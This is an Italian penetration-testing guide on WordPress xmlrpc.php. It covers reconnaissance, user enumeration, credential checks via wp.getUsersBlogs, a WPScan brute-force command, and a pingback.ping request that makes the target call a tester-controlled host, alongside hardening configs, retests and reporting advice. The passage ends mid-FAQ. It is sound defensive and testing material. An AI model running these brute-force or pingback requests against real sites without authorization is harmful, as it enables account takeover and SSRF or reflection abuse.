WordPress xmlrpc.php: Attacchi & Exploit per Pentest (2026)

Scopri come verificare xmlrpc.php in WordPress, analizzare brute force e pingback, valutare i rischi SSRF e mettere in sicurezza l’endpoint durante un pentest.
- Pubblicato il 2026-02-03
- Tempo di lettura: 16 min
XML-RPC in WordPress: come funziona, come si testa e come si blocca #
xmlrpc.php è il file di WordPress che permette ad app e servizi esterni di parlare con il sito: pubblicare articoli, leggere commenti, caricare immagini. È attivo di default dalla versione 3.5. Trovarlo acceso in un test non è ancora una vulnerabilità: è una superficie da verificare, e in questa guida vediamo cosa controllare, in che ordine e cosa puoi davvero dimostrare in un report.
Perché interessa a chi fa pentest? Perché è un endpoint separato da wp-login.php. Se un sito protegge la pagina di login (captcha, URL cambiato, 2FA agganciato al form) ma lascia xmlrpc.php raggiungibile, quella protezione potrebbe non coprirlo. Le superfici reali sono tre: il login via XML-RPC, il pingback (il server che fa richieste verso URL scelti da te) e i metodi aggiunti dai plugin.
Nota di metodo: i comportamenti descritti qui sono stati verificati sul sorgente del core di WordPress (ramo 7.1 e 7.2 in sviluppo, ottobre 2026). Gli output di esempio sono costruiti partendo dal codice: confrontali sempre con il tuo lab prima di metterli in un report.XML-RPC di WordPress è pericoloso? Dipende da cosa è raggiungibile. Da solo, un
xmlrpc.phpattivo è un’informazione (livello Info/Low). Diventa un problema quando permette tentativi di login senza i controlli messi sul form di login, quando il pingback è attivo e raggiungibile, o quando un plugin aggiunge metodi senza controllare i permessi.
Questo articolo è un satellite della guida Attacchi alle Applicazioni Web: lì trovi la mappa completa, qui andiamo a fondo su un solo endpoint.
Cos’è xmlrpc.php e come funziona #
XML-RPC è un protocollo vecchio ma semplice: mandi una richiesta HTTP POST con un corpo XML che dice quale metodo vuoi chiamare e con quali parametri, il server risponde con un altro XML. WordPress lo espone su /xmlrpc.php.
Il metodo più semplice per vedere come funziona è uno che non richiede credenziali:
curl -s -X POST https://target.tld/xmlrpc.php \
-H 'Content-Type: text/xml' \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>demo.sayHello</methodName>
<params></params>
</methodCall>'Risposta attesa:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value><string>Hello!</string></value>
</param>
</params>
</methodResponse>I metodi del core sono raggruppati in famiglie: wp.* (le API di WordPress), blogger.*, metaWeblog.* e mt.* (compatibilità con vecchi client di scrittura), pingback.*, demo.* (metodi di prova) e system.* (quelli del server XML-RPC, tipo system.listMethods). Chi lo usa davvero? App mobile di WordPress, client di scrittura, alcuni plugin di integrazione e, storicamente, Jetpack. Per questo “disabilitarlo e basta” non è sempre una buona idea: lo vediamo nella parte di hardening.
Miti da report: cosa è vero e cosa no #
Prima di partire con i test, togliamoci di mezzo le affermazioni che si trovano in giro e che sul core aggiornato non reggono. Metterle in un report ti costa credibilità.
| Affermazione | Com’è davvero |
|---|---|
| “XML-RPC bypassa sempre il login” | Falso. È un endpoint separato: un controllo messo solo su wp-login.php può non coprirlo. Va verificato caso per caso. |
“xmlrpc_enabled = false lo disattiva” | Solo in parte. Il filtro spegne i metodi che richiedono autenticazione, non il pingback. |
“system.multicall moltiplica i tentativi di password” | Non sul core aggiornato: dopo il primo login fallito nella stessa richiesta, il core smette di controllare le password (lo vediamo nel codice più sotto). |
| “Il pingback è una port scan della rete interna” | Sul core no: blocca gli indirizzi privati, ammette solo le porte 80, 443 e 8080 e non restituisce mai il contenuto della risposta. |
| “Un errore 401 o 403 mi dice se l’utente esiste” | No. Per XML-RPC utente inesistente e password sbagliata danno lo stesso errore 403. |
“XXE su xmlrpc.php” | Non è una vulnerabilità del core. Ha senso solo in plugin o integrazioni che leggono XML in modo non sicuro. |
Quando XML-RPC diventa un problema reale #
| Scenario | Prerequisiti | Impatto possibile | Prova da raccogliere |
|---|---|---|---|
| Login senza rate limiting | Endpoint raggiungibile, nessun blocco su richieste ripetute | Indovinare credenziali deboli | Serie di richieste con credenziali errate, tutte accettate senza rallentamenti o blocchi |
| 2FA non esteso a XML-RPC | Utente con 2FA attivo e credenziali valide | Accesso senza passare dal secondo fattore | wp.getUsersBlogs riuscito con le sole credenziali |
| Pingback attivo | Un post con i ping aperti | Il server fa una richiesta HTTP verso un URL scelto da te | Richiesta ricevuta sul tuo server, proveniente dall’IP del target |
| Metodo aggiunto da un plugin | Plugin che registra metodi XML-RPC | Dipende dal metodo: lettura dati altrui, azioni senza permessi | Stessa richiesta con e senza permessi, stessa risposta |
| XML-RPC attivo e basta | Nessuno | Informazione (superficie esposta) | Risposta a demo.sayHello |
Prima di iniziare: autorizzazione e lab #
Due regole prima di toccare qualsiasi comando:
- Scope scritto. Il test deve rientrare nel perimetro autorizzato. Alcune prove (pingback) lasciano tracce sul sito, come vedremo.
- Niente prove di carico in produzione. Per i test di impatto usa un lab.
Un lab WordPress in pochi comandi con Docker:
docker network create wplab
docker run -d --name wpdb --network wplab \
-e MARIADB_ROOT_PASSWORD=lab -e MARIADB_DATABASE=wp \
-e MARIADB_USER=wp -e MARIADB_PASSWORD=wp mariadb:11
docker run -d --name wp --network wplab -p 8081:80 \
-e WORDPRESS_DB_HOST=wpdb -e WORDPRESS_DB_USER=wp \
-e WORDPRESS_DB_PASSWORD=wp -e WORDPRESS_DB_NAME=wp wordpress:latestApri http://localhost:8081, completa l’installazione e crea un utente di prova. Se ti serve un po’ di pratica con gli strumenti di base, in Kali Linux trovi tutto quello che usiamo qui.
Fase 1: ricognizione, l’endpoint è attivo? #
Prima di tutto mappa l’host con Nmap per sapere cosa è esposto, poi passa all’endpoint. Per rifare e modificare le richieste a mano è comodo Burp Suite (Repeater), ma per questa guida bastano curl e un terminale.
1. Cerca l’endpoint con una GET:
curl -s -i https://target.tld/xmlrpc.php | head -n 15Se è raggiungibile, di solito vedi un messaggio di testo semplice: XML-RPC server accepts POST requests only. Il codice HTTP può cambiare da installazione a installazione: guarda il messaggio.
2. Controlla se il sito lo annuncia. WordPress spesso dichiara l’endpoint nell’header X-Pingback:
curl -sI https://target.tld/ | grep -i x-pingback3. Verifica con una chiamata vera (la demo.sayHello di prima). Come leggere il risultato:
| Cosa ricevi | Cosa significa |
|---|---|
<string>Hello!</string> | L’endpoint risponde, XML-RPC è attivo |
| Pagina HTML, 403 o 404 | Qualcuno lo ha bloccato davanti a WordPress (web server, WAF o plugin) |
Errore con faultCode 405 e “XML-RPC services are disabled on this site” | Hanno spento i metodi autenticati con xmlrpc_enabled, ma l’endpoint risponde ancora e il pingback potrebbe essere attivo |
L’ultima riga è quella che sfugge più spesso: “disabilitato” non vuol dire “non raggiungibile”.
4. Scansione con WPScan:
wpscan --url https://target.tld -e u,vp,vt --plugins-detection passive-e u enumera gli utenti, vp e vt cercano plugin e temi con vulnerabilità note (per i dati sulle vulnerabilità serve un token API, --api-token, che nella versione gratuita ha un limite giornaliero). --plugins-detection passive fa meno richieste della modalità mista, ma non è “invisibile”: ogni scansione lascia log. Se vuoi approfondire opzioni e modalità, ti rimando alla guida a WPScan.
Fase 2: elencare i metodi disponibili #
Il metodo system.listMethods restituisce tutto quello che il server accetta, plugin compresi:
curl -s -X POST https://target.tld/xmlrpc.php \
-H 'Content-Type: text/xml' \
-d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' \
| grep -oP '(?<=<string>)[^<]+' | sort > methods.txt
wc -l methods.txtOra la parte utile: togli i metodi del core e guarda cosa resta.
grep -vE '^(system|wp|blogger|metaWeblog|mt|pingback|demo)\.' methods.txtTutto quello che compare qui è un metodo aggiunto da un plugin o da un tema, ed è il punto dove si trovano i bug più interessanti (ne parliamo nella Fase 8).
I metodi che ti interessano di più nel core:
| Metodo | Richiede credenziali? | Perché ti interessa |
|---|---|---|
demo.sayHello, demo.addTwoNumbers | No | Test di raggiungibilità |
system.listMethods, system.multicall | No | Elenco metodi, chiamate in blocco |
pingback.ping | No | Il server fa una richiesta HTTP verso un URL tuo (Fase 5) |
wp.getUsersBlogs, metaWeblog.getUsersBlogs, blogger.getUsersBlogs | Sì | Verifica di username e password |
wp.getUsers, wp.getAuthors | Sì, più il permesso giusto | Elenco utenti, solo dopo l’accesso |
wp.getOptions, wp.setOptions | Sì (la seconda richiede manage_options) | Informazioni sul sito, modifica di alcune opzioni |
wp.uploadFile | Sì, più upload_files | Caricamento di media |
Fase 3: enumerare gli utenti (cosa funziona e cosa no) #
Un errore molto diffuso nelle guide: dire che XML-RPC permette di distinguere utenti esistenti da inesistenti. Non è così. Nel core, per XML-RPC, utente sbagliato e password sbagliata producono lo stesso identico errore:
<fault>
<value><struct>
<member><name>faultCode</name><value><int>403</int></value></member>
<member><name>faultString</name><value><string>Incorrect username or password.</string></value></member>
</struct></value>
</fault>Anche wp.getAuthors non è un metodo di enumerazione “a freddo”: richiede username e password validi e il permesso di modificare articoli. Gli utenti si trovano altrove:
| Tecnica | Comando | Note |
|---|---|---|
| API REST | curl -s https://target.tld/wp-json/wp/v2/users | jq -r '.[].slug' | Elenca di solito gli utenti con contenuti pubblicati, se l’endpoint non è bloccato |
Parametro author | curl -sI 'https://target.tld/?author=1' | grep -i location | Il redirect porta a /author/nome-utente/ se i permalink sono attivi |
| Sitemap del core | curl -s https://target.tld/wp-sitemap-users-1.xml | Dipende da versione e configurazione |
| WPScan | wpscan --url https://target.tld -e u | Combina più tecniche |
Gli username che ottieni qui sono la materia prima per i test di autenticazione. Per capire come queste debolezze si inseriscono nel quadro generale, vedi Broken Authentication.
Fase 4: autenticazione, brute force e perché il multicall non basta più #
Come si verifica una credenziale #
Il metodo più usato è wp.getUsersBlogs: prende username e password e, se sono corretti, restituisce l’elenco dei blog a cui l’utente ha accesso.
curl -s -X POST https://target.tld/xmlrpc.php \
-H 'Content-Type: text/xml' \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>utente_test</string></value></param>
<param><value><string>password_test</string></value></param>
</params>
</methodCall>'Se le credenziali sono sbagliate ricevi l’errore 403 che hai visto sopra. Se sono giuste, ricevi una struttura con i dati del sito:
<methodResponse><params><param><value><array><data>
<value><struct>
<member><name>isAdmin</name><value><boolean>1</boolean></value></member>
<member><name>isPrimary</name><value><boolean>1</boolean></value></member>
<member><name>url</name><value><string>https://target.tld/</string></value></member>
<member><name>blogid</name><value><string>1</string></value></member>
<member><name>blogName</name><value><string>Nome del sito</string></value></member>
<member><name>xmlrpc</name><value><string>https://target.tld/xmlrpc.php</string></value></member>
</struct></value>
</data></array></value></param></params></methodResponse>Nota: metaWeblog.getUsersBlogs e blogger.getUsersBlogs vogliono tre parametri (il primo, un ID blog, viene ignorato). wp.getUsersBlogs ne vuole due.
Cosa dimostra davvero un login riuscito? La presenza dell’array con blogid e isAdmin. Non basarti sulla lunghezza della risposta o sul solo codice HTTP: variano con versione, plugin e configurazione, e non sono una prova.
Il multicall e il flag che lo neutralizza #
system.multicall permette di mettere più chiamate in una sola richiesta. Per anni è stato il trucco per provare centinaia di password con una singola richiesta HTTP, aggirando i limiti per richiesta. Sul core aggiornato non funziona più così. Nel codice di login:
if ( $this->auth_failed ) {
$user = new WP_Error( 'login_prevented' );
} else {
$user = wp_authenticate( $username, $password );
}Quando un tentativo fallisce, il core imposta auth_failed per quell’istanza (cioè quella richiesta) e i tentativi successivi nello stesso blocco non vengono nemmeno verificati. Risultato: una richiesta = un tentativo utile. La modalità --password-attack xmlrpc-multicall di WPScan nasce per quando il multicall amplificava i tentativi: su un core aggiornato aspettati falsi negativi.
Allora a cosa serve XML-RPC per un attaccante? #
A tre cose, tutte da verificare e non da dare per scontate:
- Bypass dei controlli messi solo sulla pagina di login. Captcha, URL personalizzato, blocchi sul form: nessuno di questi vede una richiesta a
xmlrpc.php. - 2FA non esteso. Molti plugin di 2FA si agganciano al form di login. Se
wp.getUsersBlogsfunziona con le sole credenziali di un utente che ha il 2FA attivo, hai un finding concreto. - Application Password. Dal core 5.6 le Application Password (password lunghe generate per le app) sono accettate di default su REST e su XML-RPC, e per costruzione non passano da un secondo fattore. Di default richiedono HTTPS.
Come dimostrare l’assenza di rate limiting senza fare danni #
Non serve un dizionario da milioni di righe per dimostrarlo. Bastano 15 richieste con un utente di prova (non un utente reale, per non bloccare nessuno):
for i in $(seq 1 15); do
curl -s -o /dev/null -w "%{http_code}\n" -X POST https://target.tld/xmlrpc.php \
-H 'Content-Type: text/xml' \
-d '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>utente_test</string></value></param><param><value><string>password_sbagliata</string></value></param></params></methodCall>'
doneSe tutte le risposte sono 200 con l’errore 403 dentro l’XML e nessun rallentamento, hai la prova che non c’è un limite. Se a un certo punto compaiono 429, un blocco o una pagina di verifica, la protezione esiste.
Per un test in lab con una wordlist vera, usa WPScan (solo su sistemi tuoi o autorizzati):
wpscan --url http://localhost:8081 -U admin -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpcPer le liste di password vedi la guida alle wordlist. In un engagement reale, una singola password provata su molti utenti è quasi sempre più sensata di un attacco classico: leggi password spraying, credential stuffing e brute force. Se il sito usa il 2FA, la guida al 2FA bypass completa il quadro.
Fase 5: pingback, SSRF e cosa puoi dimostrare davvero #
Questa è la sezione dove le guide in circolazione sbagliano di più. Vediamo prima cosa fa il pingback, poi cosa puoi ottenere.
Come funziona (nel codice) #
Un pingback serve a dire a un blog “ho linkato un tuo articolo”. Si chiama pingback.ping con due parametri: l’URL della pagina sorgente (dove c’è il link) e l’URL del target (la pagina del sito WordPress che viene linkata). Il core fa, in quest’ordine:
- Controlla che il target appartenga al sito e corrisponda a un articolo reale.
- Controlla che quell’articolo accetti pingback.
- Controlla che non sia già stato registrato.
- Aspetta un secondo (
sleep(1)). - Scarica la pagina sorgente con
wp_safe_remote_get(timeout 10 secondi, nessun redirect, massimo 150 KB). - Se la pagina è vuota, risponde con errore 16. Se non ha un
<title>, errore 32. Se non contiene un link al target, errore 17. Se tutto torna, registra un commento di tipo pingback.
I codici di errore, letti correttamente #
faultCode | Messaggio | Cosa significa davvero |
|---|---|---|
| 0 | URL non valido, target non del sito, stessa risorsa | Errore generico, non “porta aperta” |
| 16 | The source URL does not exist | Nessun contenuto ricevuto: server irraggiungibile, URL bloccato dalle regole di sicurezza, o risposta vuota |
| 17 | …does not contain a link to the target | Pagina scaricata, con titolo, ma senza il link al target |
| 32 | A title on that page cannot be found | Pagina scaricata (non vuota) ma senza <title> |
| 33 | Target non valido o ping chiusi | Il problema è il target, non la sorgente |
| 48 | Pingback already registered | Già registrato |
Attenzione: il 32 riguarda la pagina sorgente senza titolo, non il target. Il segnale utile è la differenza tra 16 (nessun contenuto ricevuto) e 17/32 (contenuto ricevuto). Non è una scansione TCP: è un oracolo molto debole.
Cosa blocca il core, e cosa no #
Il core usa wp_safe_remote_get, che passa per wp_http_validate_url. Dal codice risulta:
- sono rifiutati gli indirizzi
127.x,10.x,0.x,172.16.0.0/12e192.168.x; - sono ammesse solo le porte 80, 443 e 8080;
- niente credenziali nell’URL, niente redirect (nel pingback il valore è 0);
- il contenuto della risposta non viene mai restituito: l’SSRF è sempre cieca.
Nella lista di blocco non compaiono altri range, per esempio il link-local 169.254.0.0/16, dove in ambiente cloud vive l’endpoint dei metadata. In teoria quindi la richiesta parte. In pratica servono altre due condizioni: i metadata di AWS in modalità IMDSv2 vogliono un token ottenuto con una PUT, e comunque non vedresti la risposta. Per le tecniche di bypass dei filtri e per i metadata cloud, il riferimento è l’articolo sulla SSRF. Un dettaglio utile se studi il DNS rebinding in lab: il controllo e la richiesta vera risolvono il nome in momenti diversi.
Quindi, sul core aggiornato: niente port scan della LAN, niente lettura dei metadata cloud. Cosa puoi dimostrare? Che il server fa una richiesta HTTP verso un host che controlli tu.
Test controllato con callback #
Passo 1: un listener sulla porta ammessa. Per vedere la richiesta grezza (User-Agent compreso) basta Netcat:
nc -lvnp 8080Con Netcat il pingback fallirà con errore 16 (non c’è una risposta), ma ti basta per vedere che il server ti ha contattato. Se vuoi vedere anche l’errore 17, servi una pagina con un titolo:
mkdir -p /tmp/pb && cd /tmp/pb
echo '<html><head><title>pingback test</title></head><body>nessun link</body></html>' > index.html
python3 -m http.server 8080Passo 2: trova un articolo valido (il target deve essere un post reale con i ping aperti):
curl -s 'https://target.tld/wp-json/wp/v2/posts?per_page=1' | jq '.[0].id'Passo 3: invia il pingback. Sostituisci l’IP e l’ID:
curl -s -X POST https://target.tld/xmlrpc.php \
-H 'Content-Type: text/xml' \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://IP_DEL_TUO_SERVER:8080/</string></value></param>
<param><value><string>https://target.tld/?p=ID</string></value></param>
</params>
</methodCall>'Cosa aspettarti. Nel log di Netcat vedi una richiesta GET / con uno User-Agent del tipo WordPress/x.y; https://target.tld; verifying pingback from <IP> e un header X-Pingback-Forwarded-For. La risposta XML arriva dopo almeno un secondo, per via dello sleep(1). Con la pagina del python3 -m http.server ottieni il faultCode 17.
Cosa conta come prova. Una richiesta ricevuta sul tuo server, proveniente dall’IP del target, con quello User-Agent. I codici di errore da soli non bastano.
Effetti collaterali. Se la tua pagina sorgente contiene un link al target, WordPress registra un commento di tipo pingback sull’articolo. In un test reale evitalo, oppure documentalo e fallo ripulire.
In lab. Il tuo listener sulla rete Docker avrà un IP privato e il core lo rifiuterà (errore 16). Per simulare un ambiente più permissivo (un plugin, un host che allenta i filtri) aggiungi in un mu-plugin del lab:
add_filter( 'http_request_host_is_external', '__return_true' );È una simulazione didattica: non è la configurazione di default.
L’abuso storico: il tuo sito come riflettore #
C’è un altro modo in cui il pingback viene abusato, ed è un problema per chi subisce: se come sorgente metti l’URL di una vittima, il sito WordPress le fa una richiesta GET. Con migliaia di siti WordPress usati come riflettori, la vittima riceve un flusso di richieste da IP legittimi. Per chi difende il segnale è lo User-Agent con la stringa verifying pingback from. Per approfondire questo tipo di attacco leggi l’articolo sul DDoS.
Fase 6: multicall, carico e XML #
system.multicall in modo sicuro #
Per capire se un server accetta richieste in blocco, usa metodi innocui del core:
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>demo.addTwoNumbers</string></value></member>
<member><name>params</name><value><array><data>
<value><int>2</int></value><value><int>3</int></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>demo.sayHello</string></value></member>
<member><name>params</name><value><array><data></data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>La risposta è una lista di risultati: 5 e Hello!, ciascuno dentro il suo array.
Il “DoS” va misurato, non provocato #
Dire “XML-RPC è vulnerabile al DoS” senza prove non vale niente. La domanda corretta è: quali chiamate costano risorse a un utente anonimo? La maggior parte dei metodi pesanti (wp.getPosts e simili) richiede credenziali, quindi un anonimo non può chiamarli. Senza credenziali, i metodi più costosi sono quelli del pingback: ogni chiamata che supera i controlli iniziali aspetta un secondo e può restare in attesa fino a dieci per la richiesta HTTP. Il test sensato, in lab, è misurare:
curl -s -o /dev/null -w "tempo: %{time_total}s\n" -X POST https://lab.local/xmlrpc.php \
-H 'Content-Type: text/xml' -d @pingback.xmlPoi ripeti con 2 e 3 chiamate nello stesso blocco: se il tempo cresce in modo lineare, i worker PHP restano occupati più a lungo. Il core ha anche un limite al numero di elementi XML accettati per richiesta (si regola con il filtro xmlrpc_element_limit): verifica il comportamento nel tuo lab. In produzione non spingere oltre la misura di una richiesta singola.
XXE: non è un difetto del core #
Nei vecchi articoli trovi sempre un blocco XXE contro xmlrpc.php. Sul core non c’è un difetto di questo tipo. Il test ha senso solo per plugin o integrazioni che leggono XML con librerie configurate male. Se vuoi provarlo, la logica è semplice: dichiari un’entità esterna e la usi in un punto che il server riflette nella risposta, per esempio nel nome del metodo, e guardi se il contenuto compare nel faultString. Sul core ti aspetti un errore di parsing o di metodo inesistente, non il contenuto di un file. Per teoria, payload e varianti out-of-band vedi XXE e XXE Injection.
Fase 7: dopo l’accesso, cosa permette davvero XML-RPC #
Con credenziali valide XML-RPC è un’API: puoi fare ciò che le permissioni dell’utente consentono. Questo è l’elenco realistico:
| Metodo | Permesso richiesto | Cosa ottieni |
|---|---|---|
wp.getUsers | list_users | Elenco utenti con email e ruoli |
wp.getProfile / wp.editProfile | modifica del proprio profilo | Lettura e modifica dei dati profilo |
wp.getOptions | utente autenticato | Informazioni sul sito: versione di WordPress, URL di admin |
wp.setOptions | manage_options | Modifica di alcune opzioni (per esempio users_can_register, default_ping_status) |
wp.newPost / wp.editPost | permessi sugli articoli | Creazione e modifica di contenuti |
wp.uploadFile | upload_files | Caricamento di file multimediali |
Un punto importante per non esagerare nel report: wp.uploadFile segue la lista di tipi di file consentiti da WordPress, e i .php non ci sono. Quindi non è un’esecuzione di codice diretta. Con un account amministratore, il percorso verso l’esecuzione di codice passa di solito dalla dashboard, non da XML-RPC (vedi RCE). Per capire cosa succede quando un upload non è protetto, confrontalo con il File Upload Attack.
Il valore di XML-RPC dopo il login sta nell’accesso: una porta d’ingresso API che può evitare i controlli messi sul form.
Fase 8: metodi aggiunti da plugin, dove si trovano i bug veri #
I plugin possono registrare nuovi metodi XML-RPC con il filtro xmlrpc_methods. Il core controlla l’autenticazione sui propri metodi, ma un metodo aggiunto da un plugin può non farlo. Hai già la lista dalla Fase 2. Per ogni metodo non standard:
- Chiamalo senza credenziali. Se risponde con dati, manca l’autenticazione.
- Chiamalo con un utente a bassi privilegi (un abbonato). Se funziona come con un amministratore, manca il controllo dei permessi.
- Cambia gli ID negli argomenti (ordini, utenti, file). Se leggi i dati di altri, hai un IDOR.
- Guarda dove finiscono i parametri: query SQL, percorsi di file, parsing XML.
Un esempio generico: un metodo miaplugin.getOrder(order_id) che restituisce i dati di qualsiasi ordine a qualsiasi utente autenticato. Per collegarlo ai concetti: IDOR, Broken Access Control e Privilege Escalation Web. Per il quadro completo sui difetti di autenticazione e autorizzazione c’è la guida Auth & Access Control.
La prova per il report è semplice e forte: la stessa richiesta, con e senza i permessi, che restituisce la stessa risposta.
Come proteggere XML-RPC (hardening) #
Prima scegli cosa vuoi ottenere. Le tre strade sono diverse e vanno verificate dopo l’applicazione.
| Obiettivo | Come | Attenzione |
|---|---|---|
| Non serve XML-RPC | Bloccare xmlrpc.php nel web server (o nel WAF/CDN) | Rompe Jetpack, app mobile e client che lo usano |
| Serve, ma voglio ridurre la superficie | Rimuovere i metodi non necessari e spegnere i metodi autenticati se non servono | Il filtro xmlrpc_enabled da solo non basta |
| Serve davvero (Jetpack, app) | Rate limiting, allowlist, WAF e log | Più configurazione da mantenere |
Opzione 1: blocco totale nel web server #
Apache 2.4:
<Files "xmlrpc.php">
Require all denied
</Files>(La sintassi Order Deny,Allow che si vede in giro è quella vecchia di Apache 2.2.)
Nginx:
location = /xmlrpc.php {
deny all;
}Se davanti c’è un WAF o una CDN, puoi applicare lo stesso blocco lì, prima ancora che la richiesta arrivi al server.
Opzione 2: ridurre la superficie dentro WordPress #
Il filtro xmlrpc_enabled spegne solo i metodi che richiedono autenticazione; per togliere altri metodi serve xmlrpc_methods. Un mu-plugin (wp-content/mu-plugins/xmlrpc-hardening.php) copre i tre punti:
<?php
// Spegne i metodi XML-RPC che richiedono autenticazione
add_filter( 'xmlrpc_enabled', '__return_false' );
// Rimuove il pingback (non richiede autenticazione, quindi il filtro sopra non lo copre)
add_filter( 'xmlrpc_methods', function ( $methods ) {
unset( $methods['pingback.ping'], $methods['pingback.extensions.getPingbacks'] );
return $methods;
} );
// Smette di annunciare l'endpoint nell'header X-Pingback
add_filter( 'wp_headers', function ( $headers ) {
unset( $headers['X-Pingback'] );
return $headers;
} );Con WP-CLI puoi anche chiudere i ping sul contenuto esistente:
wp option update default_ping_status closed
wp post list --post_type=post --format=ids | xargs -n 50 wp post update --ping_status=closedTieni a mente che altri plugin possono aggiungere metodi con lo stesso filtro: togliere due metodi non elimina ogni rischio. Torna alla lista della Fase 2 dopo ogni modifica.
Opzione 3: XML-RPC attivo con limiti #
Nginx, con rate limiting. La zona va dichiarata nel contesto http, non dentro la location:
# nel blocco http { }
limit_req_zone $binary_remote_addr zone=xmlrpc:10m rate=30r/m;
# nel blocco server { }
location = /xmlrpc.php {
limit_req zone=xmlrpc burst=5 nodelay;
limit_req_status 429;
include snippets/fastcgi-php.conf; # adatta alla tua configurazione PHP
fastcgi_pass unix:/run/php/php-fpm.sock;
}Apache 2.4, con allowlist di IP:
<Files "xmlrpc.php">
Require ip 203.0.113.0/24
</Files>Se usi Jetpack, verifica prima da dove arrivano le sue richieste: una allowlist sbagliata lo rompe.
Monitoraggio: lo script corretto #
Lo script che si trova in giro, tail -f | sort | uniq -c, non funziona: sort aspetta la fine dell’input prima di stampare, e con tail -f la fine non arriva mai. Meglio analizzare una finestra di log e lanciarla ogni pochi minuti (cron):
tail -n 5000 /var/log/nginx/access.log \
| awk '$7 ~ /xmlrpc\.php/ {print $1}' \
| sort | uniq -c | sort -rn \
| awk '$1 > 10 {print "ATTENZIONE:", $2, "ha fatto", $1, "richieste a xmlrpc.php"}'Nel formato di log “combined”, $1 è l’IP e $7 il percorso richiesto.
Verifica del fix (retest) #
Un fix non verificato non è un fix. Dopo ogni modifica ripeti i test:
| Cosa hai fatto | Test | Risultato atteso |
|---|---|---|
| Blocco totale | curl -s -o /dev/null -w "%{http_code}\n" https://target.tld/xmlrpc.php | 403 (o 404) |
| Riduzione dei metodi | system.listMethods e poi grep pingback methods.txt | Nessun pingback nella lista |
| Riduzione dei metodi | wp.getUsersBlogs con credenziali valide | Errore con faultCode 405 |
| Header | curl -sI https://target.tld/ | grep -i x-pingback | Nessun output |
| Rate limiting | Il ciclo da 15 richieste della Fase 4 | Compaiono risposte 429 |
Come scrivere il finding nel report #
Niente cifre di “reward” prese da tabelle generiche: la severità dipende da programma, impatto dimostrato e policy del cliente. Quello che serve è collegare ogni finding a prerequisiti, prova e rimedio.
| Finding | Prerequisiti | Prova | Severità indicativa | Rimedio |
|---|---|---|---|---|
| XML-RPC attivo e raggiungibile | Nessuno | Risposta a demo.sayHello e lista dei metodi | Info / Low | Blocco o riduzione della superficie |
| Login XML-RPC senza rate limiting | Endpoint raggiungibile | Serie di richieste con credenziali errate, tutte accettate | Low / Medium (sale se emergono credenziali deboli) | Rate limiting, WAF, blocco |
| 2FA non esteso a XML-RPC | Utente con 2FA, credenziali valide | wp.getUsersBlogs riuscito con le sole credenziali | Medium / High | Spegnere l’autenticazione XML-RPC |
| Pingback attivo | Post con ping aperti | Richiesta ricevuta sul tuo server con lo User-Agent di WordPress | Low / Medium | Rimuovere pingback.ping |
| Metodo di plugin senza controllo dei permessi | Plugin con metodi XML-RPC | Stessa risposta con e senza permessi | Alta, in base ai dati esposti | Correzione del plugin |
La severità è sempre indicativa: scrivi il perché, non solo il livello.
Micro playbook: da zero al report #
Minuto 0-2: GET su /xmlrpc.php e controllo dell’header X-Pingback.
Minuto 2-4: demo.sayHello, poi system.listMethods salvato su file.
Minuto 4-6: isola i metodi non standard (i plugin).
Minuto 6-8: utenti dalle fonti che funzionano (REST, ?author=, sitemap, WPScan).
Minuto 8-12: test di rate limiting con 15 richieste e un utente di prova.
Minuto 12-18: se rientra nello scope, pingback con callback.
Dopo: retest dei fix e finding con prerequisiti, prova e rimedio.
Checklist finale #
RICOGNIZIONE
☐ GET su /xmlrpc.php e messaggio di risposta
☐ Header X-Pingback controllato
☐ demo.sayHello eseguito
☐ system.listMethods salvato e confrontato con il core
☐ Metodi non standard (plugin) isolati
UTENTI E AUTENTICAZIONE
☐ Utenti da REST, ?author=, sitemap e WPScan
☐ wp.getUsersBlogs verificato con utente di prova
☐ Test di rate limiting (15 richieste) documentato
☐ 2FA e Application Password verificati su XML-RPC
PINGBACK
☐ Articolo valido con ping aperti trovato
☐ Callback sul tuo server ricevuto (con User-Agent e IP del target)
☐ Effetti collaterali (commenti) documentati o ripuliti
METODI DEI PLUGIN
☐ Ogni metodo chiamato senza credenziali
☐ Ogni metodo chiamato con utente a bassi privilegi
☐ ID degli argomenti modificati (IDOR)
HARDENING E RETEST
☐ Strada scelta: blocco totale, riduzione o rate limiting
☐ Fix applicato e ritestato con i comandi della tabella
☐ Compatibilità (Jetpack, app mobile) verificata
REPORT
☐ Richieste e risposte salvate
☐ Prerequisiti scritti per ogni finding
☐ Severità motivata, non copiata da una tabellaFAQ #
Cos’è xmlrpc.php in WordPress?
È l’endpoint che permette a client remoti di comunicare con WordPress via XML-RPC, per pubblicare contenuti o gestire il sito. È attivo di default dalla versione 3.5. La sua presenza non indica da sola una vulnerabilità.
Come verifico se XML-RPC è attivo?
Fai una GET su /xmlrpc.php e leggi il messaggio, poi una chiamata a demo.sayHello: se ricevi Hello! l’endpoint risponde. Controlla anche l’header X-Pingback sulla home.
XML-RPC è una vulnerabilità o una funzionalità? È una funzionalità legittima. Diventa un finding quando permette di aggirare controlli del login, quando il pingback è raggiungibile o quando un plugin espone metodi senza permessi.
Il filtro xmlrpc_enabled disabilita completamente XML-RPC?
No. Spegne solo i metodi che richiedono autenticazione: il pingback e i metodi personalizzati senza login restano disponibili. Per un controllo più fine servono xmlrpc_methods oppure il blocco nel web server. La documentazione ufficiale è su xmlrpc_enabled e xmlrpc_methods.
pingback.ping può causare una SSRF?
Può far partire una richiesta HTTP dal server verso un host che controlli tu, ma sul core aggiornato è cieca, limitata alle porte 80, 443 e 8080 e rifiuta i range privati. Si dimostra con un callback sul tuo server, non con i codici di errore. Il funzionamento è nel codice di pingback_ping.
Come disabilito XML-RPC senza rompere Jetpack?
